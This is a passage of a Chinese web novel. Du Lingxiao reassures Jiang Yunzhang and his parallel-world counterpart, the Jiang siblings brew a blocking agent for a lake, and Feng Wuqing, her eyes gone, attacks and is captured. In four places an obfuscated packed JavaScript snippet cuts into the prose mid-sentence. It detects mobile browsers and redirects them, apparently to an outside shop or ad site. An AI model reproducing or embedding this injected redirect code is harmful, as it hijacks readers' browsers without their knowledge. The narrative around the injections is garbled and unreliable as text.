江云章差点把自己手中的铅笔捏断。他终于后知后觉意识到了一个重要事实。 原本他还能置身度外通过度邪大侠的审美来推测凌霄的审美，顺便感叹一下度邪大侠对自己的师妹果然十分上心。改邪归正的冯舞清遇上温柔体贴的度邪大侠，两人之间互相挂念的情感实在是让人心生感叹。 可是一旦度邪大侠换成了他自己心心念念的太阳，之前的互利互惠就瞬间变成了瞒在鼓里的他精心为敌人与心上人之间的美好感情构架出了桥梁……加上睹物思人、看到花也会挂念、特殊定制、为了颜料与画师沟通许久做了许多准备等等等等，江云章对冯舞清的嫉妒之情彻底将他的心烧得只剩灰烬。 好不容易得到机会嘲笑江云章的同位体自然不会过他，于是幸灾乐祸的嘲笑声响彻江云章的大脑，意图为他添堵。 凌霄淡定地回应道：“确实如此。不过谢谢你能够复现出雪百合的魅力。” 她一点都不担心江云章会对自己发脾气。 “哪里哪里。”江云章连忙谦逊的说道，“应该是我感谢你为我提供了那么优秀的主意和灵感。雪百合的美丽都是它自己的功劳。” 同位体刚刚有了消停趋势的笑声再次变得剧烈起来。但江云章不想在凌霄身前做出威胁同位体的凶狠嘴脸，于是只是默默记下了同位体的所作所为，等到事情彻底结束后一起清算。 “偏题了这么久也该回到正事上了。”凌霄看了眼时间，推测江家两兄妹可能快要采集完毕所需的草药，于是主动岔开了话题，“你对移翠城的冯舞清和刘应水有什么印象？” 江云章不自觉换上了严肃的神情。他完全没有意识到这次情报交换只完成了一部分，凌霄还没有为自己讲解她穿越来这个世界的经历等等事情。只是对于自己的正确判断心满意足，随后尽职尽责开始汇报关于那两个人的消息：“冯舞清是移翠院派来监视我的人。不过她的作风想必你也清楚，一直很喜欢变幻自己的阵营看戏，和江家也有不少合作。不过鉴于眼睛是她最真切的需求，我认为她百分百会协助何伟铭向我出手。” 由于能够动用上平行世界同位体之间的关联，江云章毫不避讳，认为过去玄一派冯舞清身上的不少行动逻辑与移翠院的冯舞清相似。 “刘应水也还是那副死样子，看似随遇而安实际上毫无人性。在猜测江云章相关的研究即将走入尽头以后就开始转移重心想要寻找新的材料了。” 凌霄感到十分遗憾：“可惜冯师妹身上发生的事情无法在冯舞清身上复刻。这条路她是要走到黑了。” 江云章关切地望着凌霄的表情：“都是冯舞清弃明投暗的错，绝对不是凌霄你的问题！” “我知道，我也没有那样改变旁人想法的能力。”凌霄轻轻点头，冲着江云章露出了笑容，“我只是有点高兴除了我之外还有人能够意识到她拥有另一种可能性。” 那些从未能够与旁人分享过的遗憾和痛苦，好像被撬动，露出了一丝缝隙。 而眼前面露担忧的年轻男性能够听懂，也能够相信自己破天荒般荒诞无稽的言语。 有了能够倾诉的对象，确实让人难以拒绝流露出一丝真实。 在她心中不算升腾燃烧着的情绪，终于得到了宣泄的出口。 凌霄对着唯一能够沟通的队友，说出了她积攒已久却又无人能够理解的感叹：“还有云光和云天。云光明明不喜欢战斗，但还是要为了刀赤城的责任让自己习惯这些痛苦。我记得云光师妹像他这样的年纪还没有经历过实战……我其实没有办法克制住自己，每当看着她的脸，我都会想起作为大学生的江云光。” 江云章对此同样感同身受。他作为与江家姐妹距离最近的人，朝夕相处出来的家族情谊只深不浅。看到同位体记忆里满身是伤的江云光，他自然也同样无法控制自己起伏不定的心绪。 “我也是……我几乎无法想象我作为天之骄子连江冥蝉都有资格踩在脚下的大姐，会被人用武力值不堪重用攻击。”江云章低下头看着自己手上的速写本，不由自主想起江云天送给自己的画布。 幼年邪|教长大的经历以及频繁遇见血腥平行世界的记忆，导致年幼时期的江云章思维混乱，十分缺少安全感、沉默寡言并且不擅长与旁人沟通。 他清楚自己身上发生的神奇经历一定不会有人相信，刘云章杀人的记忆充满了鲜血与恐怖的肢体。倘若他将自己的噩梦告诉了别人，那么会不会在得到解决方案之前就被当做是反社会人格的精神病？会不会有人认为他精神失常实际上是在邪教时期的记忆？会不会有人认为他真的杀了人？ 痛苦的记忆折磨着江云章的心神，并且无处诉说也无法诉说。他只能一遍又一遍回忆自己与杜凌霄相遇时的场景，回忆那个从天而降向自己伸出双手的天使。 可是，可是倘若自己也变成了人人必诛的邪|教分子，自己也变成了过去曾折磨自己的那些恶徒，自己究竟还有什么脸面去敬仰将自己从深渊中救出的杜凌霄？自己又还有什么脸面去面对敞开心扉接纳了自己的江家？ 他无处诉说的痛苦最后变作了图画从他的笔下溢出色彩。意识到弟弟终于有感兴趣东西的江云天大手一挥，几乎包了江云章全部的作画材料。而零花钱向来剩不下一分的江云光也带来了自己的礼物，为江云章献上了自己能找到的最全颜色的水彩笔，还告诉他自己觉得橙色的最好看。 幸福的回忆带给了江云章力量，被他视若珍宝，精心呵护希望能够成为抑制住自己邪|教血脉的锚点。他终究还是无法忘记刘云章的疯狂行为，极为害怕自己重蹈旧复，变成那样只知道杀戮的怪物。 然而越是清清楚楚记得她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976121|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的笑脸，越是意识到眼前的世界与自己的世界截然不同。越是意识到自己同位体的家人们理应过得更加安全快乐。他不喜欢摆在自己面前的这个可能性，但他不得不尊重江家为了维护刀赤城与魂书族做出的全部努力。 他知晓他们即便在布满了危险的世界里也能散发出属于自己的光芒，但这并不代表他喜欢看到他们身上为了成长而承担起的苦难。 “还好云天能够用自己的能力让那些人全部闭嘴。”凌霄十分信任江云天的能力。 江云章认同地点了点头：“区区身体因素才难不倒她。” “不过见识各种各样的可能性，另一种意义上也没有那么糟糕。”凌霄认为自己需要在江家两兄妹回来之前让江云章看上去不要那么沮丧，否则谁知道那两人会怎么看待他们单独相处时都交流了些什么。 “比如有关林语莲女士的事情。”凌霄冲着神情愣怔的江云章缓缓点了点头，“你和林云章恐怕对她都没有什么太大印象了吧？林云章关于她的疑惑也引起了你的共鸣。” 凌霄记得自己曾向神情迷茫的江云章承诺过，他一定拥有来自生母的爱意。 “我想刀赤城的你已经能够证明这个结论了吧。这一次你与江家之间的缘分来自于林语莲女士的牵线。而拥有同位体记忆的你，恐怕也比我更加清楚林语莲女士为了你做出了哪些努力。”凌霄望着江云章与众不同的血红眼瞳，“已经有了两个世界的刘应水能够向你证明林语莲女士做出的改变，我想你也清楚这并非偶然现象。” 江云章聆听着这具身躯中的心跳声，给出了肯定答复：“是的。不论是你还是妈妈，都没有骗我。我不是被林、被生母丢弃的没人要的孩子。” 那些低落的情绪自然而然从他的脸上消失殆尽。 而凌霄则是在此刻转移了自己的视线，看向了波光粼粼的湖面：“是的。所以刀赤城的那位江云章，也要珍惜自己的生命。无论发生任何事情，你的身后还有家人正在陪着你共同面对。” “那你呢？” 将这三个字脱口而出后江云章立刻捂住了自己的嘴。并焦急地向凌霄比划刚才的疑问并非出自自己，而是趁着自己走神冒出来的同位体。他此刻再也顾不上为母亲的事情感到高兴，半羞半脑从自己的口袋里摸出了一面镜子，并恶狠狠地瞪了过去。 永远只会拖后腿的白痴，要不是凌霄在这里不能骂脏话，不然你就给我等着吧！ 镜中的倒影露出了无所畏惧的调侃表情：说得像你不在意一样。虚伪的家伙。 凌霄先是一愣，随后被江云章慌忙的表现和握起拳头却不知道能打谁的举动逗笑。她装模作样在江云章控制不住的视线里思考了几秒，随后笑眯眯给出了答案： “我就是个路过的好心人而已。小角色罢了，不用在意我。” 78. 077 “小角色？”从江云章口中冒出来的质疑声毫无疑问听上去不算友好。 刀赤城的同位体作为经常进行战斗并参与实验的角色，与心理承受能力十分一般的林云章不同，拥有十分优秀的身体控制能力。即便暂时让渡了大部分的身体使用权给江云章，依旧能够借助他的声道进行发言。 “积紫城城主继承人可不是小角色。”属于江云章的清亮声音由于两个灵魂对控制权的争夺，变得低沉而破碎，断断续续才拼凑出一句完成的话语。 “没关系的，让他把话说完吧。”凌霄对着满脸写着懊恼的江云章说道，“毕竟如果他不配合的话，我们至今为止的努力很有可能会功亏一篑。在关键时刻，还是大家将恩怨矛盾都讲开，才更加便于合作。” 她已经大致猜到了这位刀赤城守卫者想要和自己确认什么。 江云章沮丧着向凌霄比了一个道歉的手势，随后放弃了对声道权限的争夺。 总算变回清亮悦耳音色的声音继续说道：“我对你，杜凌霄确实没有意见和敌意，也很感谢你提供的各种帮助。但是我有自己的职责，也有必要维护我的世界的秩序。” 他顿了顿，透过自己的眼瞳凝望着表情淡然自若的凌霄。 另一个自己记忆中的凌霄永远是温和可亲，被太阳偏爱的模样。以至于即便这样耀眼的灵魂进入了积紫城继承人的身体，眼瞳被染上了代表着战斗的红色，仍然流露出一种难以言喻的泰然自若。这种过于和谐和坦然的气质将所有的攻击性全部消弭，但江云章很清楚这个闪烁着光彩的灵魂拥有可怕的破坏性。 他自然无可避免被另一个自己所影响，愿意去相信崇高的灵魂，也在对方的举动之中意识到了她像同位体所描述的那样，乐于助人崇高无私，是同位体心中无可代替的太阳。 但是作为江家的一份子，被冠以江家的姓氏，江云章就必须承担起刀赤城赋予自己的责任。 无论他的直觉与感官都在告诉他杜凌霄值得信任的情报，无论他与另一个自己对此产生过如何严重的意见分歧，无论为此他可能会违背自己与同位体之间的约定变成不受信用的小人。他都必须亲自去得到一个答案。 “我十分感谢杜凌霄小姐为了魂书族和平以及我的性命做出的努力。”他能感觉到同位体正在心中怒骂自己，“但我想知道你的所作所为是否真的得到了积紫城继承人的允许？你是否做出了违背她意愿的举动？” 为了让自己不显得那么咄咄逼人，也为了让念经一般开始怒骂的同位体先消停片刻，身体的主人不得不开始详细解释自己的用意：“你也看到了，我和另一个江云章之间意见的分歧会造成一些影响。可我从头到尾都没有在你身上看到积紫城继承人的意志。我作为魂书族的一员，我希望能够清楚她有没有……” 江云章实在忍耐不住的怒骂与情绪战胜了身体主人的耐心讲解，压着自己的嗓子怒骂道：“凌霄怎么可能做出强迫他人意愿的事情！你怎么就知道积紫城继承人不愿意救你了！都这种时候了还在考虑杜小姐的意愿问题，你怎么不想想你们家里人的意愿？怎么不想想他们愿不愿意看到你自杀？！别在这里给我假惺惺装好人了！” “没关系，我并没有感到冒犯。”凌霄挑眉制止了二人之间的矛盾升级，“现在不是你们产生内讧的时候，先冷静一下好吗？”她刻意用更加亲密的称呼叫了一下江云章：“云章？” 她对面怒气冲冲举着镜子的江云章立刻安静了下来。凌霄发觉他耳朵红了一片，不知道是因为害羞还是因为气愤。江云章的各种情绪一直都很容易上脸这件事情她倒是一清二楚。 “很好，看来你们两个还没有彻底失去分寸。”凌霄回忆了一下应对云章们的方式，决定言语直白满足对方的要求，“我能理解江先生作为世界原住民担心自己同伴的想法。毕竟我确实表现得与云章截然不同，夺舍吞噬与依凭之间也千差万别。但是你大可以放心，我的所作所为都没有违背积紫城继承人的任何意愿。” 她用自己紫红色的眼瞳对上了那双血红的眼眸：“我身上的刀赤城加持是她亲自完成调墨仪式的结果。她为了自己朋友的安危问题产生了探索墨水区秘密的欲望，这抹红色已经能够证明她的觉悟。” “墨水五区的危险确实无法与中部地区相比，我能理解你担心我用她的身体探险可能给她造成的肉|体伤害以及精神负担。” 她轻轻用自己右手的拇指抚摸了一下食指，能够但受到这具躯体原本的灵魂正在赞同她的发言。所以她向着自己目前的两个灵魂露出了自信的笑容。 “但你忽略了一个事实。积紫城继承人的大名是杜凌霄。而我，也是杜凌霄。” 她微微仰起头，为自己的姓名与灵魂感到无与伦比的骄傲。 “我们本就是因为平行世界的分歧所产生出的不同的自我。积紫城的我与我一样，勇于探险，勇于承担责任，愿意为了自己的朋友付出，也愿意为了魂书族的未来而努力，更不会看着一条无辜的性命死在自己面前。” “她早就在刀赤城的调墨仪式上学到了墨水五区究竟有多么危险，也比我更加清楚血兽会带来怎样的灾厄。与对这个世界一知半解的我截然不同，积紫城的我熟读各种历史书籍，从小便生活在这片大陆上。所以她比我更加清楚来到这里可能要付出何种代价。” 积紫城继承人怎么可能不清楚墨水五区的危险？又怎么可能不清楚江云章身上携带着的血液会造成怎样巨大的影响？ 她是另一个杜凌霄，是将来会成为积紫城城主的人，是未来会继承家族传承承担起魂书族未来的人。 “所以她选择了相信我，将自己的身躯托付给了我。”凌霄的手轻轻划过自己的侧脸。 “而我选择不辜负来自我自己的信任。” 她冲着江云章摇了摇头：“我想江先生可能是太小看积紫城继承人的魄力和能力了。她作为未来会接手积紫城的城主，怎么可能会被我这个外来者操控？又怎么可能意识不到自己现在所处的环境十分危险？我们之间之所以没有出现分歧，正是因为我们都共同承认了现在的结果。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984291|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “面对现在的事情，杜凌霄只会做出同一种选择。”她斩钉截铁说道。 于是凌霄注意到原本在江云章耳朵处的那片红晕此刻已经蔓延到了脸颊处。 “江先生和云章都同样是江云章，比起云章和我都见过的林云章，更是增添了共同的缘分和环境。也许你们应该摒除对彼此的偏见。”她认为必须要趁着这个机会彻底解决江云章的心结，好让危急时刻二人能够共同对敌。 当然，凌霄很清楚即便没有自己的开导，在关键时刻这两个相同的灵魂也能够化干戈为玉锦携手并肩作战，但既然现在就能提前解决隐藏问题的话，不如尽快消除所有可能引发炎症的分歧，避免不必要的时间浪费。 “我想你们应该和我们相似，能够查看彼此的记忆。那么江先生想来没有错过现代社会云光的笑脸，还有云天的骄傲。他们作为你们的家人付出了很多，你也不希望在这个拥有战斗的世界里让他们继续背负更大的压力吧。” “而云章，你也意识到江先生的处境十分危险了吧？他有二十三年多的时间都没有脱离何伟铭与刘应水的掌控，就算有江家的人为他撑起了伞，他也依旧因为自己的身体感到了与你相似的痛苦。” 原本还在心中调侃同位体的江云章没能控制住自己的表情，开始瞳孔地震。他没想到凌霄只靠短短的交流就意识到了自己与同位体之间的分歧缘由，甚至看透了自己对同位体的痛苦感同身受。这使得他一边因为自己最深刻的回忆被触动而产生了剧烈的情绪波动，一边又开始忍不住感叹凌霄不愧是自己的太阳，竟然如此敏锐如此聪颖，几句话就抓到了关键词。 “别和自己吵架了。”凌霄望着表情柔和下来的江云章，柔声说道，“你们现在应该保护自己唯一的躯体。不让自己的死亡被作恶多端的人利用，也别让自己成为家人们永远的伤痛。” “我会的。”江云章立刻郑重其事点头应道，“我不会再和这个白、同位体计较了。” 随后他掐住了自己的脖子，在心里用言语威胁同位体尽快对凌霄做出承诺。 白、喂，赶快说话回应！ 我看你才有病吧你这不是又在骂我了？别以为我不知道你的想法！你就是在杜凌霄面前装装样子罢了。 刚才和我抢声带掌控权的时候倒是气势汹汹，现在真给你机会你又不说了，怎么，你会腹语？ 江云章的嗓子不情不愿嘟囔了几声，才说出了清晰的言语：“我也会的。我已经意识到了自之前过于武断的问题，会好好反思。就先不和这个家伙计较了。” 凌霄满意地点了点头：“这才对嘛。都是相同的灵魂，你们应该很清楚对方为何会变成现在这副模样的。千万别再用彼此之间的伤痛互相攻击了，那样反过来只会伤害自己。” 江云章乖巧地应道：“好的好的。” 这个上个世界还在和林云章掐架，这个世界没少骂同位体白痴的家伙露出了一副分外懂事的表情：“我一定改正。” 刀赤城的江云章在心中深深地叹了口气。 79. 078 在凌霄与两位江云章交流的时间里，江家兄妹也迅速搜寻到了液体海水化阻断剂所需要的所有材料。 对附近环境更加熟悉的江冥蝉率先回到了简易营地，将自己采集到的材料分门别类堆在了地上：“水参、地上银莲、血叶花、光河附近的土壤……” 凌霄一边对照材料清单，一边帮忙将产自墨水五区能量充足的材料们清理干净，放入了萃取仪器的容器。他们三人刚刚整理好所有新材料，用简易餐布兜着一堆东西的江云光便现出了身影：“我采集完毕啦！诶？我竟然是最后一个回来的吗？” 她拉来了椅子在凌霄身边坐下，将餐布一掀开，得意地展示自己的收获：“那我们的材料就全齐了！” 凌霄十分捧场：“没错，云光你真厉害。” 带着手套开始帮忙剥紫叶外皮的江云光冲着她露出了一个开朗的笑容。 四个人齐心协力很快就将容器装满，随后凌霄为其盖上了盖子，在三人好奇的目光里启动了萃取仪器的开关。墨水五区会吞噬声波与震动的前提下，萃取仪器无声无息开始运转起来，透明容器里颜色混乱的材料们被盖子压着一点一点下沉，而仪器底部的量杯中开始出现晶莹剔透的翠绿色液体。 “这个阻断剂的颜色好漂亮。”江云光在仪器结束工作后取走了量杯，对着阳光仔细观察了一番其中隐约有银色暗纹闪烁的阻断剂，“我还以为会像灵墨那样是金色的呢。” “可能因为里面的能量并不纯粹吧。”凌霄在自己通讯器的屏幕上调出了下一步骤的说明，“只要将其倒入湖水，等待湖水表层颜色产生变化，然后搅动一段时间加速融合就行了。” 江冥蝉兴致勃勃抽出了自己的长剑：“我就等着这一刻了。” 从江云光手里接过阻断剂的江云章当然没有错过自己妹妹脸上相同的表情。于是他立马将手里的翠绿色液体倒入湖中，随后在两个期待搅乱湖水玩心极大的家伙行动之前，飞速后退回到了凌霄身边。同时他也没有忘记提醒几句：“你们两个悠着点。别浪费湖水和阻断剂。” “还用你说？”江冥蝉扛着剑的动作看上去分外张狂，屈居于墨水五区的经历似乎已经让他开始感到了憋屈，“我可不会浪费自己辛辛苦苦找回来的材料。” “哥哥你就放心吧。”已经操纵着长剑浮在湖水之上的江云光还算乖巧地解释了几句，“关键任务我肯定不会出差错的。” 从凌霄的视角望去，能够轻而易举观测到在阻断剂与湖水接触后，翠绿色的液体于湖面四散开来，如同一层网膜一般开始扩散直至将整个湖面包裹在内。原本清澈之中夹杂着淡淡蓝意的湖水被表面的液体网膜变作了淡绿色的模样。偶尔还有气泡从湖底飘出，在网膜上方炸裂开来。 江家兄妹等到湖水表面颜色彻底稳固，变为深绿色之后才出手。两把制式相似的长剑巧妙地配合在一起，牢牢控制着湖面的水波，好让其不要过于翻腾以至于惊起水花溅到岸边。平静的湖面被两把长剑极为克制地搅得天翻地覆，很快就开始如同凝胶一般开始凝结在一起，偶尔还会缠上长剑，在空中延展出极长的痕迹。不过很快湖水就失去了粘性和可塑性，除了深绿色的颜色之外变回了最开始的澄澈液体模样。 凌霄对江家兄妹十分放心，见他们都收敛着力度以后便将注意力转回了自己的通讯器上。她最近通过联络一直掌控者几个重要人物的行踪，因此养成了会时不时看一眼通讯器的习惯。 “何伟铭出发了。”她点开自己与叶青山的聊天界面，满意地点了点头，“很好，这样一来我就能彻底放心了。” 在何伟铭真正出发前往墨水五区之前，再多的刺激与提醒都只能成为增加概率的一种手段，到底还是有何伟铭中途改变主意的可能性。不过确保他出发以后就能够彻底安心了。因为以对方的性格，如果已经正式踏入墨水区，绝对不会半途而废，一定会亲自来到墨水五区才算不虚此行。 “很好，我想送给他的大礼包也可以开始准备了。”江冥蝉在湖水稳定之后依旧没有收起自己的长剑，而是将剑笔直插入土中，自己靠着剑柄站在湖边。 “那舞清应该也已经出发了吧。”江云光同样没有收回书页武器，时刻警惕着周围的环境。 由于工作全被另外三个人分完，只剩下一个保护自己安全任务的江云章正在认真描画墨水五区的景色。他已经从凌霄谈论事情的话语里猜出了凌霄与自己不同，似乎还有些留恋那些曾经经历过的世界，并对遇到过的美好记忆印象深刻。因此他希望自己能够为对方记录下曾经见到过的景色，好让这些真实发生过的事情不会只剩下无法复现的回忆。 江家两兄妹都没有对江云章在如此危机的情况拿出速写本做任何负面评价又或是制止。 江云光甚至还跑过来瞥了一眼江云章笔下的景色：“看不出来，哥哥你竟然画得这么好啊！”她冲着江云章比了个大拇指。 江云章回了平行世界的养妹一个笑容，顺便立刻在画作的角落添了好几笔，使得他不自觉画出来的凌霄背影变成了一处平平无奇的树丛。 同位体在他心中冷哼了一声。 画师本人恍若毫无所察，继续描绘着墨水五区的奇观，顺便还给加入了抑制剂的湖水拍了不少照片，供给叶青山与鄢眀济继续研究。 他们在这种山雨欲来的平静之中等待着敌人现身。 而第一个打破平静的是冯舞清。 凌霄原本正坐在树梢上，按照划分好的区域监视着周围的环境。突兀的声响打碎了一直以来在空气中平稳旋转的能量团，于是她立刻跳下树梢，毫不犹豫挥动自己原本抱在怀里的长枪，轻轻松松拨开了向着自己袭来的两道刀片暗器。 袭击她的人似乎本就没有用上全部实力，导致凌霄的长枪刚刚撞上刀片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003418|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这来自冯舞清的书页武器便立刻化为了点点星光，消融在了空气之中。 于江云章另外两侧戒备着的江冥蝉与江云光也迅速赶到了江云章身前，正好对上已经堂堂正正现出身形的冯舞清。她踏着树丛，堂而皇之在阳光下冲着几人露出了一个微笑。 数十片形状不一大小各异的刀片于她身边浮浮沉沉，刚刚袭击凌霄的两片被她再次召唤出来，融入了书页武器的整体。身上还穿着刀赤城守卫者队服的冯舞清一身迷彩，原本架在鼻梁上的墨镜换成了层层叠叠黑色的特殊绷带。让人无端生出几分探究的情绪。 她一点都没有自己身为不速之客的自觉，还冲着几人友好地挥了挥手：“好久不见，最近过得怎么样？” 凌霄刚看到她的新装扮就皱起了眉头。虽然积紫城在刀赤城的势力并不多，但由于与继承人合作，她最近也算是频繁得到冯舞清的动向。因此她清楚地记得汇报中冯舞清在进入墨水区之前佩戴的是同往常一样的墨镜。 在眼睛上的变化对冯舞清来说至关重要，凌霄认为这绝非普通的款式更换。 于是她一秒的思考时间都没有犹豫，提起自己的长枪向着冯舞清冲了过去。 书页武器只能对有形体的墨兽造成伤害。海兽能够免疫书页武器造成的伤害，而魂书族虽然同样不会受到实质性伤害，但会被其所束缚。 最为特殊的江云章作为关键的实验体，由于体内拥有血液，成为了魂书族中唯一会被书页武器所伤害的人。但由于这群想要他接触海水力量的人十分珍惜他体内的血液，在事情到达最糟糕情况之前，他们都不会用书页武器让江云章损失任何一滴血液。江云章对上书页武器时暂时是安全的。 不需要担心伤及性命，因此凌霄用上了许久不曾使用的杀招。长枪的枪尖向着冯舞清的四肢与脖颈毫不留情地刺去。而与刀赤城墨水已经拥很长时间相互融合的冯舞清拥有丰富的战斗经验，即便蒙上了眼睛也能够对袭来的空气流动做出反应。动用上自身的力量和层出不穷的刀片，飞速沿着同一条轨道劈向同一个点，也能强行改变凌霄长枪的轨道。 凌霄的长枪试探性划过冯舞清的面容，却被她向后弯腰仰面躲过。枪尖蹭着黑色绷带向着前方刺去，带动的空气与能量运转已经足够凌霄意识到冯舞清身体产生的相应变化。她神情立即变得更加严肃，再也没有了试探的意图，翻转手腕扯回枪身，踢开了撞上来的四五个刀片。 随后她的右手抓着长枪向上一挑，倾身用膝盖拦住了冯舞清所有逃脱的退路，在对方带着笑意的空空荡荡注视下，面无表情用力砸下了看上去毫无威慑能力的枪尾。 圆钝的枪尾在凌霄巨大的力道下展现出了恐怖的破坏力，瞬间便洞穿了冯舞清的前胸，深深地刺入地面。飞溅而出的金色灵墨溅上了凌霄的脸颊。 然而她只是面无表情注视着自己身下的冯舞清。 80. 079 “你怎么又生气啦？”冯舞清的表情丝毫未变，依旧是一副游刃有余的模样，似乎身上反馈过来的痛觉对她而言不值一提。她甚至还有闲心去关心凌霄的心情：“我连一句话都还没说完，也没有生气呀。” 凌霄低下头望着这张熟悉的脸，一言不发从冯舞清身上起身，回头对着另外三人说道：“她的眼球消失了。” 架着长剑的江云光和江云章一同瞪大了眼睛，只不过一个是为现状感到惊讶，而另一个是终于明白了凌霄心情直转急下的理由。 冯舞清的语气这次换成了有些夸张的惊讶：“凌霄你竟然这么敏锐的吗？你是怎么察觉出来我眼球消失的？” 已经掏出绳子的江冥蝉将俘虏的第一个敌人牢牢捆了起来，看向冯舞清的眼神里充满了探究：“你到底是来干什么的？我可不相信你会乖乖前来送死。” 然而被困在树干上的冯舞清丝毫没有理会江冥蝉的意思，依旧用自己空荡荡的眼眶和好奇的面容朝向凌霄的方向：“你怎么不和我说话？这么简单的问题不至于糊弄我吧？” 被冯舞清完全忽视的江冥蝉换了个讨论对象，视线看向神色莫名的江云光：“总之我觉得她这样自投罗网非常蹊跷。最好不要完全放松警惕。” 江云章站得离冯舞清最远，想到对方完全破坏了凌霄的心情，更是露出了厌恶的神情：“我知道的，我也会和她保持距离。” 凌霄接过从江云章手里递过来的毛巾，擦干净了自己脸颊上的金色液体。原本困住冯舞清的长枪也已经被她解除了召唤，重新回到手中时枪身已经没有了任何灵墨液体。 “她眼睛的问题很可疑。而且移翠院对待混入刀赤城核心圈的手下也没有过河拆桥的道理。”凌霄控制住了自己的目光，没有去理会冯舞清空荡荡的眼眶以及没有实质性的视线，“原本帮助刀赤城维护治安的任务也足够让她把自己摘出何伟铭的计划，所以她的自投罗网一定有我们目前还不清楚缘由的道理。” “如果你告诉我你生气的原因，我就告诉你我自投罗网的理由。”冯舞清见缝插针说道。她似乎对自己的现况拥有十足的底气，以至于根本不在意自己阶下囚的处境。 江冥蝉用来束缚她的绳索是刀赤城的特制用品，通常用来束缚魂书族的可疑分子。是在不伤害魂书族人形幻象前提下的束缚道具，使得她现在除了头部以外的地方都动弹不得。 然而抓捕她的行动越是顺利，就越显得冯舞清的出现十分可疑。 凌霄叹了口气：“你难道不是已经猜到了吗？我对你虚假的情报并不感兴趣。” 说罢，她眼不见心为净，主动来到了江云章附近，距离冯舞清最远的监视位置。她在意识到冯舞清挖去了自己的眼球之后确实有些心绪紊乱，由于本质上相同的灵魂，她很难不在面对移翠院冯舞清的时候想起那些与自己并肩作战的伙伴们。 即便早在一开始她就知晓了这个无法破坏人形幻象的世界对冯舞清来说该有多么异常，可她依旧无法克制自己不合时宜的怜惜与伤感。明明她根本没有为了另一个冯舞清而感到悲伤的资格。 他们本就是毫不相干的陌生人。她连冯师妹的执着都无法消融，又怎么可能阻止得了移翠院的冯舞清伤害自己。 江云章担忧的眼神一直落在凌霄身上。于是她扭头冲他露出了一个安抚的笑容。她已经经历过了那么多的世界，这一点小小的挫折和遗憾很快就会在她心中消失得无影无踪。 “我的目标明明一直很明确。”冯舞清抱怨道，“我连招呼都没打完就把我给捆上了，没有这么离谱的待客之道吧？难道你们不应该听我说完我来这里的目的吗？” “不就是刘应水的要求？”江冥蝉重新回到了自己的监视点，不放过周围的任何风吹草动。解决掉冯舞清并不意味着今天的袭击便到此结束，她很可能还有同伙就藏在距离他们不远处的树林之中。 反正现在无事，倒是听一听冯舞清瞎编的借口也无妨。 “真不公平，为什么凌霄你要站在江云章身边？”冯舞清脸颊的朝向一直没有改变。她和江云光默契地忽略了彼此的存在，从头到尾都没有直接交流任何一句话。 “难道我不也像是他一样可怜吗？为什么我就要被你用书页武器捅，他却能被你保护？”冯舞清忿忿不平地说道，“墨水五区这么危险，你却愿意为了一个认识还不到一个月的人进入。” 江冥蝉对她纠缠不休的台词没有兴趣，与江云光对视一眼后，踏着树梢扩大了自己的巡视范围。而江云光接替了江冥蝉原本的位置，一边保护江云章一边监视着冯舞清的动向。 凌霄沉默以对，倒是江云章没能忍耐住对方的挑衅：“当然是因为凌霄乐于助人，拥有高贵的品格。你这种脑子里从来只有背叛的家伙当然理解不了。” “那你呢？你觉得你就值得这几人为你的无私奉献？你可是拖累他们不得不停留在墨水五区的罪魁祸首。”冯舞清自然不会退缩，句句直指要害，移翠院的秘辛她知道的不比任何人少，“白纸先生的生母就是因为在墨水五区停留了太久才遇到了危险吧？没想到二十多年过去了，你这个儿子又让历史开始重演了。” 若位于此刻的是同位体，定然会被冯舞清的指责所感染，陷入无休无止的自我厌恶。但江云章早就已经练就了相对而言更加稳固的心态，就算因此自责也绝对不会表露出分毫，更不会因为小小的挫折就萌生出自杀的念头。 “如果没有你们，这件事根本不会发生。明明是你们太过贪心，到头来问题全算我头上了。怎么，我是江家的一员，我的家人们愿意保护我，让你嫉妒了？”江云章冲着她翻了个白眼。 江云光的眼神一亮。她当然听出了冯舞清是在故意刺激江云章，正想着出声打断哥哥陷入自怨自艾的漩涡，没想到这次根本不用自己出场，江云章便反应过来了最简单的道理。 他们会为了江云章在此出现，本就是心甘情愿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 